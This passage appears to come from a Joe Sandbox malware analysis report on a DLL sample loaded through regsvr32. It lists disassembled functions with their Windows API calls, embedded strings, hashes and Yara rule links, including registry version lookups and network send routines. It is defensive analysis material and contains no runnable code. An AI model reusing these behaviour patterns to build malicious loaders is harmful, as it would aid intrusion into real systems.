memcpy.MSVCRT(00000000,failed to allocate memory for IP_ADAPTER_ADDRESSESGetAdaptersAddresses() failed with code ,00000032), ref: 6C86EDFC
free.MSVCRT ref: 6C86EE05
free.MSVCRT ref: 6C86EE4A
free.MSVCRT ref: 6C86EE5B

Strings

failed to allocate memory for IP_ADAPTER_ADDRESSESGetAdaptersAddresses() failed with code , xrefs: 6C86EDF6
cannot access a Thread Local Storage value during or after destruction/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\std\src\thread\local.rs, xrefs: 6C86ED23
Gid, xrefs: 6C86EE88

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: free$AdaptersAddressesmemcpyrealloc
String ID: Gid$cannot access a Thread Local Storage value during or after destruction/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\std\src\thread\local.rs$failed to allocate memory for IP_ADAPTER_ADDRESSESGetAdaptersAddresses() failed with code
API String ID: 2404723152-66611615
Opcode ID: b3299872c382ef2a5c14acd4002bb67eeeee34893b879bd829432163f875df32
Instruction ID: c36f48ba8debca24497d83f34731a7fbcbf1c4d33182e7e0b675290d804df896
Opcode Fuzzy Hash: b3299872c382ef2a5c14acd4002bb67eeeee34893b879bd829432163f875df32
Instruction Fuzzy Hash: B94192B1D01208AFDB10DFA4DD41BEEB7F8AF25309F144429E908AB741E771DA08CBA1

Function 6C85B650 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 99registryCOMMON

Download Yara Rule

APIs

PdhOpenQueryA.PDH(00000000,00000000,?,?,00000000,00000000), ref: 6C85B66A
PdhAddEnglishCounterA.PDH(00000000,\System\Cpu Queue Length,00000000,00000000,00000000,00000000,?,?,00000000), ref: 6C85B688
PdhCloseQuery.PDH(00000000,00000000,00000005,00000000,00000000,00000000,00000000,LoadUpdateEvent,00000000,\System\Cpu Queue Length,00000000,00000000,00000000,00000000,?), ref: 6C85B694
CreateEventA.KERNEL32(00000000,00000000,00000000,LoadUpdateEvent,00000000,\System\Cpu Queue Length,00000000,00000000,00000000,00000000,?,?,00000000), ref: 6C85B6C0
PdhCollectQueryDataEx.PDH(00000000,00000005,00000000,00000000,00000000,00000000,LoadUpdateEvent,00000000,\System\Cpu Queue Length,00000000,00000000,00000000,00000000,?,?,00000000), ref: 6C85B6D5
RegisterWaitForSingleObject.KERNEL32(00000000,00000000,6C85B4C0,00000000,000000FF,00000000), ref: 6C85B6F7
PdhCloseQuery.PDH(00000000,00000000,00000000,00000000,LoadUpdateEvent,00000000,\System\Cpu Queue Length,00000000,00000000,00000000,00000000), ref: 6C85B73E
PdhRemoveCounter.PDH(00000000,00000000,00000005,00000000,00000000,00000000,00000000,LoadUpdateEvent,00000000,\System\Cpu Queue Length,00000000,00000000,00000000,00000000), ref: 6C85B794

Strings

LoadUpdateEvent, xrefs: 6C85B6B5
\System\Cpu Queue Length, xrefs: 6C85B680

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Query$CloseCounter$CollectCreateDataEnglishEventObjectOpenRegisterRemoveSingleWait
String ID: LoadUpdateEvent$\System\Cpu Queue Length
API String ID: 650704249-2417354242
Opcode ID: 09eea6a5ac2f7035f2bfb0283c7df8f3235a4e86658505b5beecfa19a7233451
Instruction ID: 8ff83bb66654688f80096c32bcc3b6afb038a2f32cd4e197fe9acef4d52851da
Opcode Fuzzy Hash: 09eea6a5ac2f7035f2bfb0283c7df8f3235a4e86658505b5beecfa19a7233451
Instruction Fuzzy Hash: 2431E870C00709AADB20CFA5CD04FEFB7F5BF60308F608929E425A6AD0E7B5D5588B90

Function 6C8FA6B0 Relevance: 16.8, APIs: 11, Instructions: 340COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C8FA75C
GetFullPathNameW.KERNEL32(?,00000200,?,00000000,00000000), ref: 6C8FA76B
GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,?,00000200,?,00000000,00000000), ref: 6C8FA776
GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,?,00000200,?,00000000,00000000), ref: 6C8FA78B
memcmp.MSVCRT(?,950F5D07,950F5CFF,?,00000200,?,00000000,00000000), ref: 6C8FA7F5
memcpy.MSVCRT(00000002,?,950F5CFF,?,00000000,00000000), ref: 6C8FA8C7
GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,?,00000200,?,00000000,00000000), ref: 6C8FA809

Part of subcall function 6C85AC40: HeapFree.KERNEL32(00000000,0000000C), ref: 6C8E9FA8

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: ErrorLast$FreeFullHeapNamePathmemcmpmemcpy
String ID:
API String ID: 1844123116-0
Opcode ID: c6fe174ad1e67bbe084dbcee0df08d8e00900df60b4cee310d13afc2be05863f
Instruction ID: 1498102ac5e5b208d516f44bfdb73015defbcfff1038e817046dab8f0886f1c9
Opcode Fuzzy Hash: c6fe174ad1e67bbe084dbcee0df08d8e00900df60b4cee310d13afc2be05863f
Instruction Fuzzy Hash: A3C1F875E002199FDB208FA8CE85BEEB7B4EF14768F144825E824B7741E771DD068BA1

Function 6C894F10 Relevance: 16.8, APIs: 7, Strings: 4, Instructions: 272COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,00000404), ref: 6C894F67
memcpy.MSVCRT(?,?,00000404), ref: 6C894FDB
memcpy.MSVCRT(?,?,00000404), ref: 6C895034
memcpy.MSVCRT(?,?,00000404), ref: 6C89506C
memcpy.MSVCRT(?,?,00000404), ref: 6C8950A3
memcpy.MSVCRT(?,?,00000404), ref: 6C8950DE
memcpy.MSVCRT(?,?,00000404), ref: 6C89513E

Strings

}, xrefs: 6C895129
-, xrefs: 6C89501F
?, xrefs: 6C8951C0
@, xrefs: 6C8951E0

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memcpy
String ID: -$?$@$}
API String ID: 3510742995-215791323
Opcode ID: 69d477a320ffa04a8f262f88bdf9f5849ddc4ae15b177930c6f9a0e35f142fde
Instruction ID: 51b7926247118aea9416c9b1cdea660e655e8365b1d73c259ad26096d1d90d28
Opcode Fuzzy Hash: 69d477a320ffa04a8f262f88bdf9f5849ddc4ae15b177930c6f9a0e35f142fde
Instruction Fuzzy Hash: 5FA1E1B1D006199FDB21CF58DC80FEA73B8FF81319F048969FA19AB642D3349945CBA5

Function 6C86EEA0 Relevance: 16.7, APIs: 11, Instructions: 236COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C95405C,?,?,?,?,6C87FB50,6C95405C,00000000,?,6C87F9CD,00000000,00000001), ref: 6C86EEB6
TlsGetValue.KERNEL32(00000000,?,?,00000000,6C87F9CD,00000000,00000001,?,?,?,?,?,?,?,00000001), ref: 6C86EF0F
TlsSetValue.KERNEL32(00000000,00000000,00000000,?,?,00000000,6C87F9CD,00000000,00000001,?,?,?,?,?,?,?), ref: 6C86EF1B
TlsGetValue.KERNEL32(00000000,6C87F9CD,00000000,00000001,?,?,?,?,?,?,?,00000001,?,6C86A3E7), ref: 6C86EF71
TlsGetValue.KERNEL32(-00000001), ref: 6C86EFFB
ProcessPrng.BCRYPTPRIMITIVES(?,00000010,-00000001), ref: 6C86F03B
TlsGetValue.KERNEL32(-00000001), ref: 6C86F06F
TlsSetValue.KERNEL32(-00000001,00000000,-00000001), ref: 6C86F07B

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Value$PrngProcess
String ID:
API String ID: 3259538350-0
Opcode ID: 6584dfd4f9f59c49b5b1645cdddc22489d5f1538ceab16b8ef7d82314bec0370
Instruction ID: 29eb0b69ccedaabe4b5c35e9e1fc07707486cbc80191026487d1fe35b7ea103c
Opcode Fuzzy Hash: 6584dfd4f9f59c49b5b1645cdddc22489d5f1538ceab16b8ef7d82314bec0370
Instruction Fuzzy Hash: 1C718E705012045FE7219B358D40FEA77A8BF6171CF054964F9589BF41EB71E90887E1

Function 02634CA0 Relevance: 16.7, APIs: 11, Instructions: 156COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000139F,026491B4,?,?,?), ref: 02634CD6
RtlEnterCriticalSection.NTDLL(?), ref: 02634CFD
SetLastError.KERNEL32(0000139F), ref: 02634D11
RtlLeaveCriticalSection.NTDLL(?), ref: 02634D18

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: CriticalErrorLastSection$EnterLeave
String ID:
API String ID: 2124651672-0
Opcode ID: 5e2d3de765047ab82cd7e02a2792e6b01c1d2ce168f33af85dd699b5a50f4bec
Instruction ID: ec45896c3b0682c6b5737855ba1fb1dcc89aac982f4c33202f6d10eb678bac20
Opcode Fuzzy Hash: 5e2d3de765047ab82cd7e02a2792e6b01c1d2ce168f33af85dd699b5a50f4bec
Instruction Fuzzy Hash: 2051AD7AA046409FC715DFA8E984BAEF7F5FB48710F00492EE95A87780DB35B800CB90

Function 02633DC0 Relevance: 15.1, APIs: 10, Instructions: 117memorynetworkCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 02633DE5
RtlLeaveCriticalSection.NTDLL(?), ref: 02633E30
send.WS2_32(02633AE3,?,?,00000000), ref: 02633E4E
RtlEnterCriticalSection.NTDLL(?), ref: 02633E61
RtlLeaveCriticalSection.NTDLL(?), ref: 02633E74
HeapFree.KERNEL32(00000000,00000000,?,?,02633AE3), ref: 02633E9C
WSAGetLastError.WS2_32(?,02633AE3), ref: 02633EA7
RtlEnterCriticalSection.NTDLL(?), ref: 02633EBB
RtlLeaveCriticalSection.NTDLL(?), ref: 02633EF4
HeapFree.KERNEL32(00000000,00000000,?,?,02633AE3), ref: 02633F31

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: CriticalSection$EnterLeave$FreeHeap$ErrorLastsend
String ID:
API String ID: 1701177279-0
Opcode ID: 7b47f9c2ce92a840ad89de0d557cd282db77d0bcf36097981bdd04cae15f031a
Instruction ID: a7cf588814c2fc6aa0a6805adf735f59f61912d6988bfcf98a44c07740059be8
Opcode Fuzzy Hash: 7b47f9c2ce92a840ad89de0d557cd282db77d0bcf36097981bdd04cae15f031a
Instruction Fuzzy Hash: 31410775A046009FC725CF74D988BABB7F8BB49704F4489AEE95ECB340D771A8518FA0

Function 02634F20 Relevance: 15.1, APIs: 10, Instructions: 114timenetworkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(0000000D,00000000,?), ref: 02634F53
RtlEnterCriticalSection.NTDLL(?), ref: 02634F68
WSASetLastError.WS2_32(00002746), ref: 02634F7A
RtlLeaveCriticalSection.NTDLL(?), ref: 02634F81
timeGetTime.WINMM ref: 02634FAF
timeGetTime.WINMM ref: 02634FD7
SetEvent.KERNEL32(?), ref: 02635015
InterlockedExchange.KERNEL32(?,00000001), ref: 02635021
RtlLeaveCriticalSection.NTDLL(?), ref: 02635028
RtlLeaveCriticalSection.NTDLL(?), ref: 0263503B

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: CriticalSection$Leave$ErrorLastTimetime$EnterEventExchangeInterlocked
String ID:
API String ID: 1979691958-0
Opcode ID: 99c7eab95cbb2d302f0dcd887011cd6cf0fe84aae2903001dbf3047fd651e9d3
Instruction ID: 57049a0aedec281385fb1a4c8c93679a91b332403093cd71e9c024f42117fe51
Opcode Fuzzy Hash: 99c7eab95cbb2d302f0dcd887011cd6cf0fe84aae2903001dbf3047fd651e9d3
Instruction Fuzzy Hash: 4841D035A043009FD7219F29D988B6AF7E5BF88714F444A59E88AC7740E732E8858B80

Function 6C945D90 Relevance: 15.1, APIs: 10, Instructions: 98COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D94C
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D951
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D956
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D95B
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D960
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D965
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D96A
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D96F
abort.MSVCRT(?,?,6C94832C), ref: 6C94D974
abort.MSVCRT(?,?,6C94832C), ref: 6C94D979

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 795ad5ba9f1443d1a207bfee6eec0e68aaea01f56df510d42a3205860efb64d9
Instruction ID: 95cc41ef1583cb4808447f1d72d852c270d62d998e9fc8c0cc9f65a2e814dcb7
Opcode Fuzzy Hash: 795ad5ba9f1443d1a207bfee6eec0e68aaea01f56df510d42a3205860efb64d9
Instruction Fuzzy Hash: 6321D6723092158FD704CF68E891B96B7E6FFC2218F68C27EE5488B755D636E806CB50

Function 6C94CFB0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 228COMMON

Download Yara Rule

Strings

Unknown pseudo relocation protocol version %d., xrefs: 6C94D26E
Unknown pseudo relocation bit size %d., xrefs: 6C94D10C
%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 6C94D0C0

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 0-1286557213
Opcode ID: d34b5caa073c565f3ba78a561840e388449302476488c2f8e223ec3dba364bd9
Instruction ID: b9a64c4b014a50cd4e06aecf2ae72df2facbaf812dffc253668f5ce05b2f1829
Opcode Fuzzy Hash: d34b5caa073c565f3ba78a561840e388449302476488c2f8e223ec3dba364bd9
Instruction Fuzzy Hash: 7881B177B052158FCF10EFA8C48068AB7B8BF5A318F15C629E958A7B05D730E905CBD2

Function 6C8979B0 Relevance: 13.7, APIs: 9, Instructions: 157COMMON

Download Yara Rule

APIs

VariantToPropVariant.PROPSYS(?,?), ref: 6C8979DB
PropVariantClear.OLE32(?), ref: 6C897A35
VariantToPropVariant.PROPSYS(?,?,?), ref: 6C897A44

Part of subcall function 6C89A890: GetErrorInfo.OLEAUT32(00000000,00000000,00000000,?,?,6C8768BC,00000000,?,0000003C,00000000), ref: 6C89A8A5

PropVariantClear.OLE32(?,?,?), ref: 6C897A85
PropVariantCompareEx.PROPSYS(?,?,00000000,00000000,?,?,?), ref: 6C897B4B
PropVariantClear.OLE32(?,?,?,?), ref: 6C897B72
PropVariantClear.OLE32(?,?,?,?,?), ref: 6C897B7C
PropVariantClear.OLE32(?), ref: 6C897BC9

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Variant$Prop$Clear$CompareErrorInfo
String ID:
API String ID: 2171276625-0
Opcode ID: ec02cff2a52354ec0a5f4776522683db5c48ebb4605341a00f42ac180da94bd5
Instruction ID: 9e678e67ad9e5e839980a2030d5613d05438112bf2e67499f8fff12cb395d787
Opcode Fuzzy Hash: ec02cff2a52354ec0a5f4776522683db5c48ebb4605341a00f42ac180da94bd5
Instruction Fuzzy Hash: 61518F71808B889BD312CF68894179BF7F8BFDA398F108E2DF994A6510E774D589C742

Function 6C9460F0 Relevance: 13.6, APIs: 9, Instructions: 145COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D951
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D956
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D95B
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D960
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D965
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D96A
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D96F
abort.MSVCRT(?,?,6C94832C), ref: 6C94D974
abort.MSVCRT(?,?,6C94832C), ref: 6C94D979

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 114f7f3103d6c90178c812fe5bd341675c57f4efaef86e3dbe61956331959df6
Instruction ID: 317487c8cae66ea430acbc815802d80555efedd917456b5d34c3a9f42625e17b
Opcode Fuzzy Hash: 114f7f3103d6c90178c812fe5bd341675c57f4efaef86e3dbe61956331959df6
Instruction Fuzzy Hash: EE41C2F1508756DBC710DF29C44079ABBE4AF95318F10CA2AE8A0C7B56D334DA4ECB92

Function 6C87CC70 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 325registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00020019,00000001), ref: 6C87CCEA
RegQueryValueExW.ADVAPI32(00000001,?,00000000,00000000,00000000,00000800,00020019,00000001), ref: 6C87CD7B
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000800,00020019,00000001), ref: 6C87CDA9

Part of subcall function 6C85AC40: HeapFree.KERNEL32(00000000,0000000C), ref: 6C8E9FA8

Strings

ProductNameWindows 10 Windows 11 CurrentBuildNumberCurrentMajorVersionNumber (), xrefs: 6C87CC7D

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: QueryValue$FreeHeapOpen
String ID: ProductNameWindows 10 Windows 11 CurrentBuildNumberCurrentMajorVersionNumber ()
API String ID: 3674198676-3947172187
Opcode ID: 6c4966479ebe97b97da6c2c9921fa1e092376efc175952349776b6782392d949
Instruction ID: 74bc848fe5f2d153bab5ab1f0217a66f7bd7f111798eefd7f508bd3410270f6a
Opcode Fuzzy Hash: 6c4966479ebe97b97da6c2c9921fa1e092376efc175952349776b6782392d949
Instruction Fuzzy Hash: F5B181B6E00219ABEF20DFA5DD85BEEBBB8AF14708F144425E904E7741E775D9048BB0

Function 6C8BC450 Relevance: 12.4, APIs: 6, Strings: 2, Instructions: 436COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(000000B4,?,?), ref: 6C8BC558
memcpy.MSVCRT(00000000,00000003,00000002), ref: 6C8BC570
memcpy.MSVCRT(-000001EC,?,?), ref: 6C8BC5F3
memcpy.MSVCRT(000000B4,?,?), ref: 6C8BC838

Strings

assertion failed: old_right_len + count <= CAPACITY, xrefs: 6C8BCCF1
assertion failed: old_left_len >= count, xrefs: 6C8BCD02

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
